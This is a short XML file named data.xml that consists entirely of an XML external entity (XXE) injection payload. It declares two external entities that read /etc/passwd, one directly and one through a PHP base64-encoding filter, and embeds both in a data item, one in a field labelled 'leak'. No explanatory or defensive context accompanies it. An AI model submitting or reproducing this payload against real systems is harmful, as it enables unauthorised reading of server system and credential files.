data.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
  <!ENTITY xxe2 SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<data>
  <item><id>1</id><text>&xxe;</text><leak>&xxe2;</leak></item>
</data>